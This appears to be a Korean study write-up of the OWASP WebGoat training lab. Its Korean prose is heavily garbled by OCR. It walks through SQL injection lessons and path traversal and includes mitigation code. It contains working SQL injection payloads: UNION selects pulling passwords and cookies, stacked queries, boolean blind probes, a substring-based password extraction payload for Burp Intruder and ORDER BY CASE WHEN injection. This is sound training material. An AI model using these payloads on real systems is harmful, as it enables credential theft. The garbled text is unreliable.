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01. SQL Injection (intro)
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o UPDATE: 7| = || 0|E{ E =™ &L C}.
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2H Alz:: DML (SELECT) 7| =
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first nameO| '‘Bob' 0| 11 last hameO| 'Franco'®l XAHZ 25l EL|LCF.

select department from Employees where first_name='Bo

b' and last name='Franco'
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3tH AlZ&: DML (UPDATE) 7| =
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update Employees set department='Sales' where first_na

me="Tobl' and last name='Barnett'
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alter table Employees add column phone varchar(20)
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: String SQL Injection

A= &Y 0|02 0| == (Concatenating) M} 0§ X

"SELECT * FROM user data WHERE first name 'John' AND last name =

'" + LastName + "'";
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SELECT * FROM user_data WHERE first name = 'John' and last _name = '’




"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND
userid = " + User_ID;
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SELECT * From user_data WHERE Login_Count = 123 and us
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02. SQL Injection (advanced)
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asdf'; select * from user_system_data--
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7| ¥4 2: UNION Based SQL Injection

5 ofl = A|E10f| k2t M| 0| 2 2 (Chaining)0| 8154 QS T UNION 91 AIKIE £ L|C}

asdf' union select userid, user_name, password, null, null, coo

kie, null from user_system_data- -
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(user_system_data)2 Z = 0| 47 54| 1 =L C.

union select userid, user_name, password, null, null,
cookie, null from




2tA =l UNION 222 M & BL|Ct.

asdf' union select userid, user_name, password, null, null, cookie,

null from user_system_data- -
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Blind SQL Injection

2l ME{ 7} ot QIa) ofl2] 2OLF ZTHE Tkt

S100f| OFR 2 = HO|X| 2 W M= JPR RA S 22 7| QL|Ch




HO|X| =8l HEAH 3

ME{ | Al & (True)/7{ %l (False) Bt & F

\2

[1{0
al
0

ol

N
n
A

AN

A1




Blind SQLI2| 37} X| e EH

e Error based: 112| 2 Z~5t™ 0f|24(0d|: 1/0)E LH0{ &t SH|C}
e Timebased: SLEEP(5) 52| x| {2 HIS &= E =X SHL|C},

e Contentbased: sttde| 2 &l Anf(71el MZ2/Al|) 7 EE2IX = A2 210
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Ex=TomAE S Z 29015t= AelL|Ct 53X

REGISTER EHOJ|A{ tom' and 1<2-- (StAL =t

exists" 7} =L |CF.

tom' and 1>2-- (StAr HA)E 10 A|E=6HH "User created" 7} & L | CF.

S 7 A =4 /7 88 =4 A

== ERELHEH



A= 2o (REGISTER)

HMH EISO| L2772 HIU EX ZEE gL

=i —L-—1-J————EE

src/main/java/org/owasp/webgoat/ lessons/sqlinjection/advanced/SqlInjectionChallenge. java

String checkUserQuery = "select userid from sgl_challenge_users wher

e userid = '" + username_reg + "'";
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=H A (LOGIN)

HIO| 2 70| 2Al I EL= 0{EH 7717

e —

src/main/java/org/owasp/webgoat/ lessons/sqlinjection/advanced/SqlInjectionChallengeLoglin. java

var statement = connection.prepareStatement('"select password from sqg

L_challenge_users where userid = ? and password = ?");
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22Xt &7l 7| (Substring)

H|OJE4 71 23X2| 0L, R =ArFE 2RI A SF OF gfL|Cr.

substring(CO[Ef, AIZFQIX|, 7H4) BH-S &LiCh
e 0f]:substring('abc’, 1, 2) - 'ab' 7} F==g/L|C|L

e 22|=substring(password, 1, 1) 2tk 5|0 28
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Intruder E}Zl 2| X|(Position) X|A

username_reg=tom'+and+ascii(substring(password,1,1))%3D81008--. ..




Intruder Payload 4 A

[Payloads] Ef © 2 0| S5l A& &FL|Cf.

e Payload type: Numbers

e Number range Type: Sequential
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03. SQL Injection (mitigation)
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set @sgl = "SELECT * FROM users WHERE lastname = '
LastName
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301 7| 2. Prepared Statement

1 d8ord EEMQN AL CL 'O2] =H|E #+&E'0[2t= /LI

"SELECT * FROM user WHERE 1d = ?"
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0| 0i| AiH} F =0f| A ps.setString(1, pUsername) X2 Zt2 4 S0 S
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k0] 7| 3. ORM (JPA, Mybatis £)

JHLREZ A SQL A2 S LA EFO|BBHX| 94D, XM} 4% T =S MH Za Q19|
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asdf'/**/union/**/select/**/userid, user_name, password. ..
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off H= A Il A& A 57|= 7| = &LICL

seSELECTlect, frFROMom SdEH{ 2 ¢l &l
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Prepared Statement2] 0 2|: ORDER BY
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O} = Hinf O Prepared StatementL} ORME EEFGILE =2| = 20| QSL|ICHLHIZ A&
dE= vgﬁrs ORDER BY T2lL|CH.
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12t AlZ: ORDER BY 12 E}H (1)

=0 5210l E HiAl=S =36l webgoat-prd AE{ 2] [P F 3X2| &0FLH 7.

Hostname M &8 HHE S =2{EL| column=hostname @ & HO{ZIL|C}. O| Zf2}O|E{ 7}

5H ol = 0f| A{ ORDER BY hostname @ 2 0|0{£0{X| 0 AU A SL|C}.



12t AlZ: ORDER BY 1 £ E}#H (2)
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ORDER BY 7|4} Blind SQLi (CASE WHEN)

ORDERBY 20| €2 £ Q)= = A X|0{ 29| CASE WHEN 2 S =ol5tL|C}

(case when (1<2) then hostname else 1p end)




substring((select 1p from servers where hostname="'webgoat-prd'),1,1)
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src/main/java/org/owasp/webgoat/ lessons/sqlinjection/advanced/SqlInjectionChallenge. java

String checkUserQuery = "select userid from sgl_challenge_users wher

e userid = '" + username_reg + "'";
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src/main/java/org/owasp/webgoat/ lessons/sqlinjection/advanced/SqlInjectionChallengeLoglin. java

var statement = connection.prepareStatement('"select password from sg
L_challenge_users where userid = ? and password = ?"); statement.setStrin

g(1, username_login); statement.setString(2, password_login);

0|27 prepareStatement 2} ? £ E83H OHH57 BIITI S S| m) 20i| 3742
AHEE 0] 25| x| 942 ZHQLICh,
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src/main/java/org/owasp/webgoat/ lessons/sqlinjection/advanced/SqlInjectionChallenge. java

String checkUserQuery = "select userid from sqgl_challe
nge_users where userid = ' + username_reg + " ", Statement

statement = connection.createStatement();
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src/main/java/org/owasp/webgoat/ lessons/sqlinjection/advanced/SqlInjectionChallenge. java

String query = "select userid from sqgl_challenge_users
where userlid = ?";, var statement = connection.prepareStatem

ent(query); statement.setString(1l, username_reqg); var resul
tSet = statement.executeQuery();
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root@...:# ./mvnw spotless:apply && ./mvnw clean 1nsta
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04. Path Traversal
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Path Traversal (Directory Traversal) 0| 2+?
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Profile has been updated, your image 1s avallable at: /root/.webgoat-2023.3/PathTr

aversal/webhacking/test
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722 HE| T} E (multipart/form-data) o2l 2= SL|C}

Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="tem

p.png”

Z2}0| (2t R) PO 0|0| it I 2 | AE MEHO| 22, OS X oF ) =

| A A=
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"You found it! submit the SHA-512 hash of your username as answer"
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src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval. java

var queryParams = request.getQueryString(); 1if (queryParams != null && (queryParam

s.contains("..") || queryParams.contains("/"))) { return badRequest...
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src/main/java/org/owasp/Webgoat/lessons/pathtraversal/ProfileZipSlip.java

File f = new File(tmpZipDirectory.toFile(), e.getName()),; InputStream 1s = zip.get

InputStream(e); Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
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src/main/java/org/owasp/Webgoat/ lessons/xss/CrossSiteScriptinglLesson5a. java
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